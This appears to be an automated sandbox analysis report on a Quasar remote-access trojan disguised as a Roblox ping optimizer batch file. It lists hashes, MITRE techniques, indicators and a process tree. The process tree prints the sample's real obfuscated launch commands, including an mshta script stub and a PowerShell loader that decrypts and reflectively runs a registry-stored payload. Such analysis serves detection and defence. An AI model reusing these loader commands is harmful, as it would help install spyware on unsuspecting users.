quasar | 5f4e3342d7148047d9b8a6e3a6626fc6a28e05fea788d2345c38ac7ccb7afb1f

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
21-05-2024 22:17

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General

Target

RobloxPingOptimizer-Main-x64.NEW/RobloxPingOptimizer-Main-x64/Main/RobloxPingOptimizer.bat
Size

15.6MB
MD5

0e7fa38a2267f6c3c8b0afafda56ef99
SHA1

e116a71ae311011f1fc2697e84575990b75d96b4
SHA256

30800e9982e73ce9a2f315b05630225f57b6ae1d219902b8dcde6031d840a553
SHA512

75f5108166ac7224f5797941f57ada798a1bb760850677618770fb4aa7c9dd3d9298013afde66a0eba303852c9dfb2277b8bda61243c161b35975f1030ed9e98
SSDEEP

49152:Cdxc9riM4QO4C2ltO7iHK35ROUcdDvgVNfLH9QDn7OusKIV+cDBGVKKjU5ECeNNI:k

Score

10^/10

quasar execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/832-77-0x000002377E040000-0x000002377E7EE000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4156 powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

4156 powershell.exe
Executes dropped EXE 5 IoCs

Processes:

$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-cmd.exe$sxr-powershell.exe

pid process

1972 $sxr-mshta.exe
3532 $sxr-cmd.exe
832 $sxr-powershell.exe
4400 $sxr-cmd.exe
3876 $sxr-powershell.exe

pid	process
1972	$sxr-mshta.exe
3532	$sxr-cmd.exe
832	$sxr-powershell.exe
4400	$sxr-cmd.exe
3876	$sxr-powershell.exe

Drops file in System32 directory 9 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Drops file in Windows directory 6 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 11 IoCs

Processes:

svchost.exeOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe$sxr-powershell.exe

pid	process
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe
832	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exe$sxr-powershell.exe$sxr-powershell.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	832	$sxr-powershell.exe
Token: SeDebugPrivilege	832	$sxr-powershell.exe
Token: SeDebugPrivilege	832	$sxr-powershell.exe
Token: SeDebugPrivilege	3876	$sxr-powershell.exe
Token: SeShutdownPrivilege	3388	Explorer.EXE
Token: SeCreatePagefilePrivilege	3388	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

832 $sxr-powershell.exe

pid	process
832	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe

description	pid	process	target process
PID 908 wrote to memory of 3728	908	cmd.exe	cmd.exe
PID 908 wrote to memory of 3728	908	cmd.exe	cmd.exe
PID 908 wrote to memory of 4156	908	cmd.exe	powershell.exe
PID 908 wrote to memory of 4156	908	cmd.exe	powershell.exe
PID 1972 wrote to memory of 3532	1972	$sxr-mshta.exe	$sxr-cmd.exe
PID 1972 wrote to memory of 3532	1972	$sxr-mshta.exe	$sxr-cmd.exe
PID 3532 wrote to memory of 2796	3532	$sxr-cmd.exe	cmd.exe
PID 3532 wrote to memory of 2796	3532	$sxr-cmd.exe	cmd.exe
PID 3532 wrote to memory of 832	3532	$sxr-cmd.exe	$sxr-powershell.exe
PID 3532 wrote to memory of 832	3532	$sxr-cmd.exe	$sxr-powershell.exe
PID 832 wrote to memory of 672	832	$sxr-powershell.exe	lsass.exe
PID 832 wrote to memory of 672	832	$sxr-powershell.exe	lsass.exe
PID 832 wrote to memory of 944	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 944	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 436	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 436	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 864	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 864	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1084	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1084	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1092	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1092	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1116	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1116	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1212	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1212	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1248	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1248	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1320	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1320	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1340	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1340	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1412	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1412	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1448	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1448	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1468	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1468	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1488	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1488	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1656	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1656	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1676	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1676	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1736	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1736	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1812	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1812	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1824	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1824	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1940	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1940	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1948	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1948	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1992	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1992	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 2004	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 2004	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 1712	832	$sxr-powershell.exe	spoolsv.exe
PID 832 wrote to memory of 1712	832	$sxr-powershell.exe	spoolsv.exe
PID 832 wrote to memory of 2084	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 2084	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 2252	832	$sxr-powershell.exe	svchost.exe
PID 832 wrote to memory of 2252	832	$sxr-powershell.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1116

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2632

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ywMXwfUBFNVJyDSrBIVk4312:skAokGYA=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /c %$sxr-ywMXwfUBFNVJyDSrBIVk4312:skAokGYA=%
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3532

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:ynDiyxywMz; "
4⤵
PID:2796

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:832

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /C set "WjUGhUhFAD=[System.Diagnostics.Process]::GetProcessById(832).WaitForExit();[System.Threading.Thread]::Sleep(5000); function RehQj($pAibt){ $vPowE=[System.Security.Cryptography.Aes]::Create(); $vPowE.Mode=[System.Security.Cryptography.CipherMode]::CBC; $vPowE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $vPowE.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('G2RKZtcN6hkpnZXTVc3gUkD6zkZNhu+HP2nFGziH5go='); $vPowE.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('SDEeaycnJbFS9015ocCOJw=='); $ntIWU=$vPowE.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $pliUW=$ntIWU.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($pAibt, 0, $pAibt.Length); $ntIWU.Dispose(); $vPowE.Dispose(); $pliUW;}function DexhB($pAibt){ $sVDkh=New-Object System.IO.MemoryStream(,$pAibt); $yryyb=New-Object System.IO.MemoryStream; Invoke-Expression '$ntNJv @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$sVDkh,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $ntNJv.CopyTo($yryyb); $ntNJv.Dispose(); $sVDkh.Dispose(); $yryyb.Dispose(); $yryyb.ToArray();}function KktQw($pAibt){ $pliUW = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($pAibt); $pliUW = RehQj($pliUW); $pliUW = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($pliUW); return $pliUW;}function execute_function($pAibt,$wEKyT){ $zjWEW = @( '$jvvcj = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::@L@o@a@d@([byte[]]$pAibt);'.Replace('@', ''), '$cDqzB = $jvvcj.EntryPoint;', '$cDqzB.Invoke($null, $wEKyT);' ); foreach ($dJqQg in $zjWEW) { Invoke-Expression $dJqQg };}$JmHSu = KktQw('y11/dHJtjD3vwONFotaskg==');$Ymipw = KktQw('Wn6/WQPtP/S46okRUKjRC+GzKvWL1VezdUredriacfw=');$vcgus = KktQw('punO0rRR5cl9FpY6wXYKog==');$ulSUs = KktQw('SE1EhvXe93ZAgL1pCIjykQ==');if (@(get-process -ea silentlycontinue $ulSUs).count -gt 1) {exit};$UGypJ = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($JmHSu).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($Ymipw);$VXpQb=DexhB (RehQj ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($UGypJ)));execute_function $VXpQb (,[string[]] ($vcgus));" & echo Invoke-Expression $env:WjUGhUhFAD; | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
5⤵
- Executes dropped EXE
PID:4400

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:WjUGhUhFAD; "
6⤵
PID:2316

C:\Windows\$sxr-powershell.exe
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2004

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2752

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2844

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3120

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3388

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RobloxPingOptimizer-Main-x64.NEW\RobloxPingOptimizer-Main-x64\Main\RobloxPingOptimizer.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:LdjEKqpmmB; "
3⤵
PID:3728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
3⤵
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3596

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4724

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:5044

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2820

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5064

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1460

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1796

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqlnj5pn.t4q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
